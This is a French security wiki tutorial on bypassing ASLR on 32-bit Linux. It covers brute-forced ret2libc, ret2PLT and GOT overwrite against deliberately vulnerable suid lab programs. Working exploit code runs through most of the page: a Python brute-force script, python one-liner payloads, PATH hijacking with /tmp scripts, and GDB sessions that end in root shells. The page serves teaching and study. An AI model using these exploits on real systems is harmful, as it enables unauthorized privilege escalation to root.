Outils d'utilisateurs

Outils du Site


failles_app:aslr

Bypasser ASLR

L'ASLR ou Address Space Layout Randomization, est une technique de protection contre les buffer overflows. Alors que l'attaque demande une grande précision, ASLR va réarranger aléatoirement l'espace d'adressage en affectant :

  • la pile
  • le tas
  • les librairies

rendant ainsi l'attaque encore plus difficile. Les attaques Ret2libc, l'injection de shellcode via les variables d'environnement et autres techniques déjà connues ne sont plus possibles à cause de l'ASLR. Mais les hackers ont toujours eu beaucoup d'imagination, et des techniques de contournement existent.

Nous considérerons que le lecteur possède déjà les connaissances de base au sujet des stack based buffer overflows. Si ce n'est pas le cas, lire l'article sur les buffers overflows du wiki est recommandé.

Pour ré-activer l'ASLR si nécessaire (par défaut activée), entrez la commande en tant que root :

#echo 2 > /proc/sys/kernel/randomize_va_space

Environnement:
GCC : gcc (Debian 4.9.2-10) 4.9.2
GDB : GNU gdb (Debian 7.7.1+dfsg-5) 7.7.1
OS : Debian Jessie
Tous les programmes présentés possèdent le bit suid

NB: l'attaque Return Oriented Programming (ROP) ne sera pas présentée ici, puisqu'elle est expliquée dans l'article sur les buffer overflows du Wiki.

1.Brute Force (aka Quick and dirty)

Nous commencerons pas l'attaque la moins « propre », mais sans doute aussi la moins difficile.
Le programme que nous allons utiliser est le suivant :

bruteForce.c
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
 
void vuln(const char* name){
        printf("Hello, who are you ?\n");
        char buffer[42];
        strcpy(buffer, name);
        printf("Nice to meet you %s ! And my name is JohnCena !!\n", buffer);
}
 
int main(int argc, char ** argv){
        if (argc < 2){
                printf("Need one arg plz\n");
                return 1;
        }
        vuln(argv[1]);
        return 0;
}

En tapant la commande suivante, nous vérifions que l'exécutable généré possède le bit suid:

$ ls -alt bruteForce
	-rwsr-sr-x 1 root root 5196 févr. 17 17:07 bruteForce

Le petit s à gauche dans les flags nous prouve que oui. Nous allons donc pouvoir élever nos privilèges.

Avant de commencer l'attaque, vérifions que la randomisation est bien activée :

$ ldd ./bruteForce | grep libc
	libc.so.6 => /lib/i386-linux-gnu/i686/cmov/libc.so.6 (0xf75b5000)
$ ldd ./bruteForce | grep libc
	libc.so.6 => /lib/i386-linux-gnu/i686/cmov/libc.so.6 (0xf754c000)
$ ldd ./bruteForce | grep libc
	libc.so.6 => /lib/i386-linux-gnu/i686/cmov/libc.so.6 (0xf75c1000)
$ ldd ./bruteForce | grep libc
	libc.so.6 => /lib/i386-linux-gnu/i686/cmov/libc.so.6 (0xf754f000)
$ ldd ./bruteForce | grep libc
	libc.so.6 => /lib/i386-linux-gnu/i686/cmov/libc.so.6 (0xf75a3000)
$ ldd ./bruteForce | grep libc
	libc.so.6 => /lib/i386-linux-gnu/i686/cmov/libc.so.6 (0xf7510000)
$ ldd ./bruteForce | grep libc
	libc.so.6 => /lib/i386-linux-gnu/i686/cmov/libc.so.6 (0xf753d000)

Nous voyons grâce aux adresses sur la droite que la randomisation semble n'affecter que 8 bits (la plupart du temps, à de rares exceptions près le troisième chiffre change), ce qui réduit grandement les possibilités : une attaque brute force semble donc raisonnable.
Comme adresse de base pour l'attaque nous allons donc choisir l'une d'entre elles, mettons la deuxième: 0xf754c000. Nous supposerons donc arbitrairement que le programme sera chargé à cette adresse. En relançant plusieurs fois de suite le programme, il y a des chances que nous tombions juste au moins une fois.

Nous allons nous inspirer d'une ret2libc, et donc pour cela il nous faut trouver les offsets pour les fonctions system et exit :

$ readelf -s /lib/i386-linux-gnu/i686/cmov/libc.so.6 | grep exit
	111: 000315e0    58 FUNC    GLOBAL DEFAULT   12 __cxa_at_quick_exit@@GLIBC_2.10
   	139: 000311b0    45 FUNC    GLOBAL DEFAULT   12 exit@@GLIBC_2.0
   	446: 00031620   276 FUNC    GLOBAL DEFAULT   12 __cxa_thread_atexit_impl@@GLIBC_2.18
   	554: 000b730e    24 FUNC    GLOBAL DEFAULT   12 _exit@@GLIBC_2.0
   	609: 0011b580    56 FUNC    GLOBAL DEFAULT   12 svc_exit@@GLIBC_2.0
   	645: 000315b0    45 FUNC    GLOBAL DEFAULT   12 quick_exit@@GLIBC_2.10
   	868: 000313e0    84 FUNC    GLOBAL DEFAULT   12 __cxa_atexit@@GLIBC_2.1.3
  	1037: 00125530    60 FUNC    GLOBAL DEFAULT   12 atexit@GLIBC_2.0
  	1380: 001a9204     4 OBJECT  GLOBAL DEFAULT   31 argp_err_exit_status@@GLIBC_2.1
  	1491: 000f8900    62 FUNC    GLOBAL DEFAULT   12 pthread_exit@@GLIBC_2.0
  	2087: 001a9154     4 OBJECT  GLOBAL DEFAULT   31 obstack_exit_failure@@GLIBC_2.0
  	2240: 000311e0    77 FUNC    WEAK   DEFAULT   12 on_exit@@GLIBC_2.0
  	2383: 000f9d30     2 FUNC    GLOBAL DEFAULT   12 __cyg_profile_func_exit@@GLIBC_2.2

La fonction qui nous intéresse ici est exit@@GLIBC_2.0, à la deuxième ligne. L'offset est donc 0x000311b0. Faisons de même pour system:

$ readelf -s /lib/i386-linux-gnu/i686/cmov/libc.so.6 | grep system
  	243: 001183d0    73 FUNC    GLOBAL DEFAULT   12 svcerr_systemerr@@GLIBC_2.0
     	620: 0003e3e0    56 FUNC    GLOBAL DEFAULT   12 __libc_system@@GLIBC_PRIVATE
    	1443: 0003e3e0    56 FUNC    WEAK   DEFAULT   12 system@@GLIBC_2.0

Nous repérons cette fois-ci la routine system@@GLIBC_2.0, et donc le second offset est 0x0003e3e0.

Enfin, pour l'argument de la fonction system, nous aimerions que ce soit la string « /bin/sh » . Elle est déjà sûrement mappée dans la libc, mais pour se faciliter la tâche nous allons choisir une string de substitution ayant une adresse fixe:

$ readelf -x .rodata ./bruteForce
    	Vidange hexadécimale de la section « .rodata » :
      	  0x08048578 03000000 01000200 48656c6c 6f2c2077 ........Hello, w
      	  0x08048588 686f2061 72652079 6f75203f 00000000 ho are you ?....
      	  0x08048598 4e696365 20746f20 6d656574 20796f75 Nice to meet you
      	  0x080485a8 20257320 2120416e 64206d79 206e616d  %s ! And my nam
      	  0x080485b8 65206973 204a6f68 6e43656e 61202121 e is JohnCena !!
      	  0x080485c8 0a004e65 6564206f 6e652061 72672070 ..Need one arg p
      	  0x080485d8 6c7a00                              lz.

La string « lz » en 0x080485d8 est un choix judicieux puisqu'elle se termine par un null byte. Il nous faut donc créer un exécutable nommé « lz » que nous placerons dans un répertoire où nous avons les droits d'exécution (/tmp par exemple) :

$ cat > /tmp/lz
	#!/bin/sh
	/bin/sh
$ chmod +x /tmp/lz

Ensuite, modifions la variable d'environnement afin d'y ajouter /tmp pour que notre script soit trouvé :

$ export PATH='/tmp':$PATH

La dernière étape avant le codage de l'exploit consiste à calculer la taille de la string « junk » pour remplir le buffer avant d'écraser l'adresse de retour. Pour cela, lançons GDB et observons :

$ gdb ./bruteForce
… 
(gdb) disas vuln
Dump of assembler code for function vuln:
   ...
   0x08048477 <+28>:	lea    -0x32(%ebp),%eax
   ...   
End of assembler dump.

D'après la ligne <+28>, notre buffer est à 50 (0x32) bytes du pointeur de base. Si l'on ajoute 4 bytes pour écraser la sauvegarde de %ebp, nous avons donc 54 bytes de « junk ».

Maintenant que nous avons tous les éléments nécessaires, nous allons écrire un petit script Python afin d'automatiser tout ceci.
Tout d'abord, les imports et les variables :

exploit.py
import struct
import subprocess
 
base =  0xf754c000         #adresse arbitraire de base choisie au début
system_offset = 0x0003e3e0 #offset pour system
exit_offset = 0x000311b0   #offset pour exit
binsh =  0x080485d8        #adresse de "lz"

Ensuite calculons les adresses d'après les offsets :

exploit.py
system_addr = base + system_offset
exit_addr = base + exit_offset

Puis construisons la payload :

exploit.py
payload = "A" * 54
payload += struct.pack("<I",system_addr) #little-endian
payload += struct.pack("<I",exit_addr)   #idem
payload += struct.pack("<I",binsh)       #idem

Enfin, il ne reste qu'à coder la boucle infinie qui va lancer le programme jusqu'à tomber juste sur l'adresse prévue :

exploit.py
while (1):
	result = subprocess.call(["./bruteForce", payload])	
	if not result:
		print "OKOKOKOKOKOKOKOKOKOKOKOKOKOKOKOK"
		exit(0)
	else:
		print "NOPE\n"
print "End"

A présent, nous pouvons lancer le script et attendre. Et finalement au bout de quelques essais :

$ python exploit.py
	… 
	Hello, who are you ?
	Nice to meet you AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA��X���W ! And my name is JohnCena !!
	NOPE

	Hello, who are you ?
	Nice to meet you AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA��X���W ! And my name is JohnCena !!
	NOPE

	Hello, who are you ?
	Nice to meet you AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA��X���W ! And my name is JohnCena !!
# whoami
	root

Boom !

NB: Parfois le programme va peut-être réagir étrangement, par exemple en imprimant les OKs sans garder le stdin ouvert, et parfois le stdin sera ouvert mais les commandes tapées ne donneront rien. Dans ce cas, la meilleure solution reste encore d'arrêter le script et de le relancer.

2. Ret2PLT

Commençons par un peu de théorie (pas trop, promis), essentielle pour comprendre le fonctionnement de l'attaque.

Le problème :
Les librairies partagées sont faites comme le nom l'indique pour être partagées entre plusieurs processus. Dès lors que le segment .text est partagé, il ne doit pas être accessible en écriture. De fait, le linker n'a pas la permission de modifier les symboles ou les adresses présentes dans la section .text. La solution pour lui est alors d'utiliser PIC.

PIC (Position Independant Code) :
Ce mécanisme permet d'assurer que le segment .text d'une librairie va pouvoir être partagé entre plusieurs processus tout en effectuant une « relocation » (je n'ai pas trouvé de traduction vraiment satisfaisante en français…). Le segment .text ne contient pas d'adresses et de symboles absolus, mais des références vers les valeurs placées une table (Global Offset Table ou GOT) située dans le segment .data, ce dernier étant unique à chaque processus. Cette table est remplie par le linker et permet donc de faire l'indirection, tout en gardant le segment .text inchangé. La GOT étant à une position connue, les entrées qu'elle contient sont exprimées de manière relatives, par des offsets.

Procedure Linkage Table (PLT)
Les deux notions précédentes sont nécessaires à la compréhension du fonctionnement de la PLT, qui sera au cœur de notre attaque. Cette table utilise une double indirection afin de retrouver une fonction de la libc. Chaque entrée dans la table n'est qu'un morceau de code (stub) permettant d'appeler la vraie fonction. De fait, lorsque l'instruction call dans .text est rencontrée, le stub (func@plt) associé à la fonction dans la PLT permet au linker de retrouver la vraie fonction. La résolution n'est faite que lors du premier appel, puisqu'une entrée est alors ajoutée dans la GOT et sera utilisée lors des appels futurs à ladite fonction.
Pour illustrer ceci de manière une peu plus concrète, prenons ce programme très original (nommé plt) :

plt.c
#include <stdlib.h>
#include <stdio.h>
 
int main(int argc, char ** argv){
        printf("Hello world!\n");
        return 0;
}

Avec l'aide de GDB, observons ce qu'il se passe lors de l'appel de puts (printf):

$ gdb ./plt
… 
(gdb) disas puts
Dump of assembler code for function puts@plt:
   0x080482d0 <+0>:	jmp    *0x80496bc
   0x080482d6 <+6>:	push   $0x0
   0x080482db <+11>:	jmp    0x80482c0
End of assembler dump.
(gdb) x/x 0x80496bc
0x80496bc <puts@got.plt>:	0x080482d6

A la ligne <+0> nous voyons qu'un jump est effectué en 0x80496bc. En regardant ce qu'il se trouve à cette adresse, nous voyons ensuite qu'il sagit de puts@got.plt, donc nous voyons bien ici l'utilisation de la GOT lors de l'appel d'une fonction externe.

Cette fois-ci, nous n'allons pas tenter de retourner vers une fonction de la libc, mais nous allons utiliser la PLT. Cette table étant utilisée lors de l'appel de routines externes dont les adresses sont inconnues au moment du linkage, ces dernières sont donc dynamiquement trouvées pendant le run time, et non randomisées. Et là, si vous avez bien compris ce qui a été expliqué, vous vous demandez sûrement pourquoi nous avons parlé des librairies alors que nous voulons attaquer un simple exécutable ! En fait, même les exécutables non partagés entre plusieurs processus ont eux aussi besoin de telles tables. Par défaut, les segments .text n'ont pas la permission en écriture. Ainsi, comme pour les librairies partagées, les exécutables ont besoin de la GOT et de la PLT afin de permettre au linker de faire une relocation.
A présent, passons à l'attaque, et tentant de tirer profit du programme suivant :

ret2plt.c
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <string.h>
 
void vuln(const char *pCommand){
     char command[10];
     strncpy(command, "/bin/", 5);
     command[5] = '\0';
     strcat(command, pCommand);
     printf("Command: %s\n", command);
     if (getuid() == 0){
          system(command);
     }
     else{
          if (!strcmp("/bin/date", command)){
               system("/bin/date");
          }
          else{
          	printf("Not allowed\n");
          }
    }
}
 
int main(int argc, char **argv){
	if (argc < 2){
		printf("Usage: ./ret2plt <cmd>\n");
		exit(1);
	}
	vuln(argv[1]);
	return 0;
}

En tant qu'attaquant, nous savons que getuid ne renverra pas 0, et par conséquent nous ne sommes a priori autorisés qu'à exécuter la commande date, avec un chemin absolu :

$ ./ret2plt sh
	Command: /bin/sh
	Not allowed
$ ./ret2plt date
	Command: /bin/date
	samedi 18 février 2017, 11:37:16 (UTC+0100)

Oui, mais :

$ ./ret2plt aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa
	Command: /bin/aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa
	Not allowed
	Erreur de segmentation

Un overflow est donc possible grâce à strcat, peu soucieuse de la nouvelle taille du buffer après concaténation !
ASLR nous empêchant de faire une classique ret2libc, nous allons essayer de trouver les adresses de exit@plt et system@plt (par pur hasard, les deux fonctions sont présentes dans le code …).
Avec l'aide de GDB, désassemblons la fonction vuln afin de trouver ces adresses:

(gdb) disas vuln
Dump of assembler code for function vuln:
   … 
   0x08048592 <+119>:	call   0x80483e0 <system@plt>
   …   
End of assembler dump.
(gdb) disas main
Dump of assembler code for function main:
   … 
   0x080485db <+45>:	call   0x8048400 <exit@plt>
   …    
End of assembler dump.

En plus de récupérer les adresses, nous pouvons déterminer quelle est la taille de l'écart entre le buffer et l'adresse de retour (break juste après l'appel de strcat) :

(gdb) break *0x08048541
	Breakpoint 1 at 0x8048541
(gdb) run AAAA
	Starting program: /home/john/Documents/ret2plt AAAA

	Breakpoint 1, 0x0804853c in vuln ()
(gdb) x/16x $esp
	0xffa39800:0xffa39816	0xffa3b641	0xf75cdbf8	0xf75f2243
	0xffa39810:0x00000000	0x622f0000	0x412f6e69	0x00414141
	0xffa39820:0xffa3b61b	0x0000002f	0xffa39848	0x080485f1
	0xffa39830:0xffa3b641	0xffa398f4	0xffa39900	0xf75f23fd
(gdb) x/x $ebp
	0xffa39828:	 0xffa39848
(gdb) x/x 0x080485f1
	0x80485f1 <main+67>:	0xb810c483

Nous voyons que %ebp est en 0xffa39828, et donc la valeur juste après (0x080485f1) est l'adresse de retour à écraser. D'après la position du dernier 41 (code ASCII de « A » en hexadécimal), nous déduisons qu'il faut 13 bytes supplémentaires (soit un total de 17 bytes) avant d'écraser l'adresse de retour.
Ensuite, il nous faut déterminer l'adresse de la commande passée en paramètre. Comme précédemment, nous allons choisir une string de substitution :

$ readelf -x .rodata ./ret2plt
	Vidange hexadécimale de la section « .rodata » :
  	   0x08048698 03000000 01000200 436f6d6d 616e643a ........Command:
  	   0x080486a8 2025730a 002f6269 6e2f6461 7465004e  %s../bin/date.N
  	   0x080486b8 6f742061 6c6c6f77 65640055 73616765 ot allowed.Usage
  	   0x080486c8 3a202e2f 72657432 706c7420 3c636d64 : ./ret2plt <cmd
  	   0x080486d8 3e00

Nous choisissons pour l'exemple la string « te » (à la fin de « date »), à l'adresse 0x080486b4.

$ cat > /tmp/te
	#!/bin/sh
	/bin/sh
$ chmod +x /tmp/te
$ export PATH='/tmp':$PATH

Avant l'appel de la fonction system le haut de la pile doit être :

<  adresse system@plt  >
<   adresse exit@plt   > 
<    adresse de «te»   >

donc nous construisons la payload comme ceci :

17 * A + 
\xe0\x83\x04\x08 +
\x00\x84\x04\x08 +
\xb4\x86\x04\x08

Essayons :

$ ./ret2plt $(python -c "print 'A'  * 17 + '\xe0\x83\x04\x08' + '\x00\x84\x04\x08' + '\xb4\x86\x04\x08'")
	Command: /bin/AAAAAAAAAAAAAAAAA�����#
	Not allowed
	Erreur de segmentation

L'attaque ne semble pas fonctionner…
En effet, cela n'aura pas échapper à certains : l'adresse de exit contient un null byte, et donc la string n'est pas copiée jusqu'au bout !
En fait, ça n'est pas très grave car l'appel de exit n'est pas nécessaire. En fait, son adresse sert simplement d'adresse de retour après l'appel de system, afin que le programme se finisse proprement. Mais ici, nous allons nous en passer et ajouter une string « junk » de 4 caractères à la place :

$ ./ret2plt $(python -c "print 'A'  * 17 + '\xe0\x83\x04\x08' + 'AAAA' + '\xb4\x86\x04\x08'")
	Command: /bin/AAAAAAAAAAAAAAAAA��AAAA��#
	Not allowed
# whoami
	root

Enjoy your shell !

3. Corruption de la GOT

Pour cette troisième attaque, nous allons nous baser sur ce programme:

corrupGot.c
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
 
#define SIZE 141
 
void displayTweets(int, char **);
 
int main(int argc, char **argv){
        if(argc == 1){
                exit(0);
        }
        displayTweets(argc-1, argv);
        printf("Time: \n");
        system("/bin/date");
        return 0;
}
 
void displayTweets(int nbTweets, char ** strings){
        char* tweetPtr = NULL;
        char tweet[SIZE];
        tweetPtr = tweet;
        int i = 0;
        for (i = 0; i < nbTweets; i++){
                strcpy(tweetPtr, strings[1+i]);
                printf("Tweet: %s at %p\n", tweetPtr, &tweetPtr);
        }
}

Comme la fonction system est présente dans le code, nous allons pouvoir corrompre la GOT afin de l'exécuter.
L'attaque va se dérouler ainsi, en 4 étapes-clefs :

  • overflower le buffer afin de faire pointer tweetPtr sur GOT[printf]
  • appeler printf
  • maintenant que tweetPtr pointe sur GOT[printf], overflower à nouveau pour corrompre l'entrée
  • appeler printf, qui vaut maintenant system@plt

Lançons l'ami GDB afin de trouver quelques adresses intéressantes :

(gdb) disas displayTweets
Dump of assembler code for function displayTweets:
   0x0804851e <+0>:	push   %ebp
   0x0804851f <+1>:	mov    %esp,%ebp
   0x08048521 <+3>:	sub    $0xa8,%esp
   0x08048527 <+9>:	movl   $0x0,-0x10(%ebp)
   0x0804852e <+16>:	lea    -0x9d(%ebp),%eax
   0x08048534 <+22>:	mov    %eax,-0x10(%ebp)
   0x08048537 <+25>:	movl   $0x0,-0xc(%ebp)
   0x0804853e <+32>:	movl   $0x0,-0xc(%ebp)
   0x08048545 <+39>:	jmp    0x8048587 <displayTweets+105>
   0x08048547 <+41>:	mov    -0xc(%ebp),%eax
   0x0804854a <+44>:	add    $0x1,%eax
   0x0804854d <+47>:	lea    0x0(,%eax,4),%edx
   0x08048554 <+54>:	mov    0xc(%ebp),%eax
   0x08048557 <+57>:	add    %edx,%eax
   0x08048559 <+59>:	mov    (%eax),%edx
   0x0804855b <+61>:	mov    -0x10(%ebp),%eax
   0x0804855e <+64>:	sub    $0x8,%esp
   0x08048561 <+67>:	push   %edx
   0x08048562 <+68>:	push   %eax
   0x08048563 <+69>:	call   0x8048360 <strcpy@plt>
   0x08048568 <+74>:	add    $0x10,%esp
   0x0804856b <+77>:	mov    -0x10(%ebp),%eax
   0x0804856e <+80>:	sub    $0x4,%esp
   0x08048571 <+83>:	lea    -0x10(%ebp),%edx
   0x08048574 <+86>:	push   %edx
   0x08048575 <+87>:	push   %eax
   0x08048576 <+88>:	push   $0x8048641
   0x0804857b <+93>:	call   0x8048350 <printf@plt>
   0x08048580 <+98>:	add    $0x10,%esp
   0x08048583 <+101>:	addl   $0x1,-0xc(%ebp)
   0x08048587 <+105>:	mov    -0xc(%ebp),%eax
   0x0804858a <+108>:	cmp    0x8(%ebp),%eax
   0x0804858d <+111>:	jl     0x8048547 <displayTweets+41>
   0x0804858f <+113>:	leave  
   0x08048590 <+114>:	ret    
End of assembler dump.

Les lignes <+16> , <+22> et <+61> nous prouvent qu'il y un écart de 141 bytes entre le buffer et le pointeur. En effet, en <+61>, nous voyons que le pointeur de situe en %ebp - 0x10. Or aux lignes <+16> et <+22>, nous voyons que le valeur placée à cet endroit est égale à %ebp-0x9d. Il y a donc bien un écart de 0x9d - 0x10 = 0x8d entre le pointeur et le début du buffer.
Lors du premier tour de boucle, les 2 premières étapes-clefs vont être effectuées, puisque la valeur du pointeur va être modifiée afin de pointer sur GOT[printf]. Il faudra un tour supplémentaire pour effectuer les 2 dernières étapes clefs : écraser l'adresse de GOT[printf] par l'adresse de system@plt et appeler printf. Nous devons donc soumettre 2 arguments.
A présent, cherchons les adresses de la méthode printf à l'aide de l'adresse trouvée en <+93>:

(gdb) x/i  0x8048350
        0x8048350 <printf@plt>:	jmp    *0x8049868
(gdb) x/i 0x8049868
        0x8049868 <printf@got.plt>:	push   %esi

Faisons de même avec system, puisqu'elle possède une entrée associée dans la PLT :

(gdb) disas main
Dump of assembler code for function main:
   … 
   0x08048509 <+78>:	call   0x8048380 <system@plt>
   …  
End of assembler dump.

A présent, nous savons qu'il faut écrire 141 bytes de junk avant d'écraser tweetPtr avec l'adresse de GOT[printf], soit 0x8049868. Ensuite, lors du deuxième tour de boucle strcpy se chargera d'écrire l'adresse de system@plt (0x8048380) au nouvel endroit pointé par tweetPtr !

Pour le premier argument, nous avons donc:

A * 141 +  '\x68\x98\x04\x08'

Et pour le second argument, nous mettrons uniquement l'adresse de system@plt.
Relançons GDB en plaçant un breakpoint juste après strcpy:

(gdb) break *0x08048568
	Breakpoint 1 at 0x8048568
(gdb) run $(python -c "print 'A' * 141 + '\x68\x98\x04\x08'") $(python -c "print '\x80\x83\x04\x08'")
	Starting program: /home/john/Documents/corrupGot $(python -c "print 'A' * 141 + '\x68\x98\x04\x08'") $(python -c "print '\x80\x83\x04\x08'")

	Breakpoint 1, 0x08048568 in displayTweets ()

Nous savons que le pointeur est à %ebp - 0x10 d'après le dump, donc:

(gdb) x/x $ebp-0x10
	0xfffcf708:	0x08049868
(gdb) x/x 0x08049868
	0x08049868 <printf@got.plt>:	0x08048356
(gdb) x/x 0x08048356
	0x8048356 <printf@plt+6>:	0x00000068
(gdb) continue
	Continuing.
	Tweet: P�d���h�v�������p�a� at 0xfffcf708

	Breakpoint 1, 0x08048568 in displayTweets ()

Le programme a effectué un premier tour de boucle et est revenu au niveau du breakpoint. Analysons :

(gdb) x/x $ebp-0x10
	0xfffcf708:	0x08049868
(gdb) x/x 0x08049868
	0x08049868 <printf@got.plt>:	0x08048380
(gdb) x/x 0x08048380
	0x8048380 <system@plt>:	0x987425ff

Nous voyons à présent que GOT[printf] pointe maintenant vers system@plt ! Poursuivons l'exécution :

(gdb) continue
	Continuing.
	sh: 1: Tweet:: not found
	Time: 
	dimanche 19 février 2017, 09:33:19 (UTC+0100)
	[Inferior 1 (process 3427) exited normally]

Nous voyons que la fonction system a tenté d'exécuter la commande « Tweet : » (n'oubliez pas la semi-colonne!), qui bien sûr n'existe pas. Comme auparavant, nous n'avons qu'à créer un script nommé « Tweet: » dans un dossier avec les droits d'écriture et modifier la variable PATH :

$ cat > /tmp/Tweet:
	#/bin/sh
	/bin/sh
$ chmod +x /tmp/Tweet:
$ export PATH='/tmp':$PATH

Puis relançons l'exécution sans GDB :

$ ./corrupGot $(python -c "print 'A' * 141 + '\x68\x98\x04\x08'") $(python -c "print '\x80\x83\x04\x08'")
	Tweet: P�c���g�v�������py`� at 0xffecee88
# whoami
	root

BOOM !

Ressources :
Ret2PLT: http://eli.thegreenplace.net/2011/11/03/position-independent-code-pic-in-shared-libraries
Ret2PLT: https://sploitfun.wordpress.com/2015/05/08/
Corruption de la GOT : http://www.infosecwriters.com/text_resources/pdf/GOT_Hijack.pdf

failles_app/aslr.txt · Dernière modification: 2017/04/09 15:33 (modification externe)